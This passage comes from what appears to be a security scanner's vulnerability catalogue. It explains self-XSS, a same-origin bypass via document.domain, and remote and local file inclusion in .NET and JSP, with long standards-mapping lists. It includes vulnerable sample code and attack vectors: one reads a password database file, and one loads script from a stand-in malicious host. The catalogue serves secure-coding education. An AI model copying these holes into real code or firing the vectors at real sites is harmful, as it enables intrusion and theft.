[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.javascript.cross_site_scripting_sapui5_control
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of self-XSS, data is read from a text box or other value that can be controlled from the DOM and written back into the page using client-side code.


2. The data is included in dynamic content that is sent to a web user without validation. In the case of self-XSS, malicious content is executed as part of DOM (Document Object Model) modification.

The malicious content in the case of self-XSS takes the form of a JavaScript segment, or any other type of code that the browser executes. As self-XSS is primarily an attack on oneself, it is often considered unimportant, but should be treated the same as a standard XSS weakness if one of the following can occur:

- A Cross-Site Request Forgery vulnerability is identified on your website.
- A social engineering attack can convince a user to attack their own account, compromising their session.
Example 1: Consider the HTML form:


<div id="myDiv">
Employee ID: <input type="text" id="eid"><br>
...
<button>Show results</button>
</div>
<div id="resultsDiv">
...
</div>


The following jQuery code segment reads an employee ID from the text box, and displays it to the user.


$(document).ready(function(){
$("#myDiv").on("click", "button", function(){
var eid = $("#eid").val();
$("resultsDiv").append(eid);
...
});
});


These code examples operate correctly if the employee ID from the text input with ID eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then after the user clicks the button, the code is added to the DOM for the browser to execute. If an attacker can convince a user to input malicious input into the text input, then this is simply a DOM-based XSS.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Jesse Kornblum Don't Be a Self XSS Victim Facebook
[4] Hans Petrich Weaponizing self-xss Silent Break Security
[5] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[6] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[12] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[13] Standards Mapping - FIPS200 SI
[14] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[15] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[16] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[17] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[18] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[19] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[20] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[21] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[22] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[26] Standards Mapping - OWASP Top 10 2021 A03 Injection
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[39] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[40] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[41] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[42] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[64] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[65] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.javascript.cross_site_scripting_self
Abstract
Allowing user input to control settings which determine Same-Origin Policy (SOP) can create XSS vulnerabilities.
Explanation
Cross-site scripting (XSS) vulnerabilities through Same-Origin Policy (SOP) bypasses occur when:

1. Data enters a web application through an untrusted source.


2. The data is passed to a setting that determines the origin of the page where scripts can run, such as document.domain.

Once this is performed, this enables an attacker on another domain to set document.domain the same, and execute scripts on the page, as if in they are located on the exact same domain.

Example 1: The following takes a URL parameter domain and passes it as the domain for the page's Same-Origin Policy (SOP).


<SCRIPT>
var pos = document.URL.indexOf("domain=")+7;
document.domain = document.URL.substring(pos,document.URL.length);
</SCRIPT>


Most browsers will only allow a valid superdomain to be passed to document.domain, therefore if the page is located at "http://www.example.com", then document.domain can be set to "www.example.com", or "example.com". It cannot be set to "com" or "example.org".
However, if an attacker is on another part of the website which they can control, they may be able to execute scripts on part of the site that they do not have control over.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[9] Standards Mapping - FIPS200 SI
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[14] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[15] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[16] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[17] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[18] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[19] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[35] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[36] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[60] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.javascript.cross_site_scripting_SOP_bypass
Abstract
Allowing unvalidated user input to control files that are included dynamically in a HTML file can lead to malicious code execution.
Explanation
Many modern web scripting languages enable code re-use and modularization through the ability to include additional source files within one encapsulating file. This ability is often used to apply a standard look and feel to an application (templating), share functions without the need for compiled code, or break the code into smaller more manageable files. Included files are interpreted as part of the parent file and executed in the same manner. File inclusion vulnerabilities occur when the path of the included file is controlled by unvalidated user input.

Example 1: The following code takes a user specified template name and includes it in the rendered HTML page.


...
ClientScript.RegisterClientScriptInclude("RequestParameterScript", HttpContext.Current.Request.Params["includedURL"]);
...


In Example 1, an attacker may take complete control of the dynamic include statement by supplying a malicious value for includedURL, which causes the program to include a file from an external site.

If the attacker specifies a valid file to a dynamic include statement, .NET will insert the contents of that file into the HTML file sent to the user. In the case of a plain text file, such as web.config, the file might be rendered as part of the HTML output. Worse, if the attacker may specify a path to a remote site controlled by the attacker, then the dynamic include statement will execute arbitrary malicious code supplied by the attacker.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 94, CWE ID 98, CWE ID 494
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2), SI-10 Information Input Validation (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code, SI-10 Information Input Validation
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.9 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.2 File Execution Requirements (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 12.3.6 File Execution Requirements (L2 L3), 14.2.3 Dependency (L1 L2 L3), 14.2.4 Dependency (L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A3 Malicious File Execution
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.3
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[33] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 094
[34] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 098
[35] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 829
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3600 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3600 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3600 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3600 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3600 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3600 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3600 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-003300 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-003300 CAT II
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Remote File Inclusion (RFI) (WASC-05)
desc.dataflow.dotnet.dangerous_file_inclusion
Abstract
Allowing unvalidated user input to control files that are included dynamically in a JSP can lead to malicious code execution.
Explanation
Many modern web scripting languages enable code re-use and modularization through the ability to include additional source files within one encapsulating file. This ability is often used to apply a standard look and feel to an application (templating), share functions without the need for compiled code, or break the code into smaller more manageable files. Included files are interpreted as part of the parent file and executed in the same manner. File inclusion vulnerabilities occur when the path of the included file is controlled by unvalidated user input.

Example 1: The following is an example of Local File Inclusion vulnerability. The sample code takes a user specified template name and includes it in the JSP page to be rendered.

...
<jsp:include page="<%= (String)request.getParameter(\"template\")%>">
...

If the attacker specifies a valid file to the dynamic include statement, the contents of that file will be passed to the JSP interpreter to be rendered on the page.

In the case of an attack vector of the form

specialpage.jsp?template=/WEB-INF/database/passwordDB

the JSP interpreter will render the contents of the /WEB-INF/database/passwordDB file to the JSP page thus compromising the security of the system.

Worse, if the attacker may specify a path to a remote site controlled by the attacker, then the dynamic include statement will execute arbitrary malicious code supplied by the attacker.

Example 2: The sample code uses the c:import tag to import a user specified remote file into the current JSP page.

...
<c:import url="<%= request.getParameter("privacy")%>">
...

An attack vector of the form

policy.jsp?privacy=http://www.malicioushost.com/attackdata.js

can inject malicious code into the current JSP page from a remote site controlled by the attacker.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 94, CWE ID 98, CWE ID 494
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2), SI-10 Information Input Validation (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code, SI-10 Information Input Validation
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.9 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.2 File Execution Requirements (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 12.3.6 File Execution Requirements (L2 L3), 14.2.3 Dependency (L1 L2 L3), 14.2.4 Dependency (L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A3 Malicious File Execution
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.3
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control
